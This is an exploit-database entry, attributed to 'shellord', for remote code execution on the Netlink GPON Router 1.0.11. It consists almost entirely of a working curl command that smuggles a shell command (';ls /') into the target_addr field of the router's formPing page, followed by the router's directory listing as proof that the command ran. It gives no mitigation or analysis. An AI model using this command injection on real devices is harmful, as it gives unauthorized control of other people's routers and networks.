# Exploit Title: Netlink GPON Router 1.0.11 - Remote Code Execution # Date: 2020-03-17 # Exploit Author: shellord # Vendor Homepage: https://www.netlink-india.com/ # Version: 1.0.11 # Tested on: Windows 10 # CVE: N/A Exploit : curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154" http://TARGETIP/boaform/admin/formPing Response :

> Finish

>     bin
>     dev
>     etc
>     home
>     image
>     lib
>     mnt
>     proc
>     sbin
>     sys
>     tmp
>     usr
>     var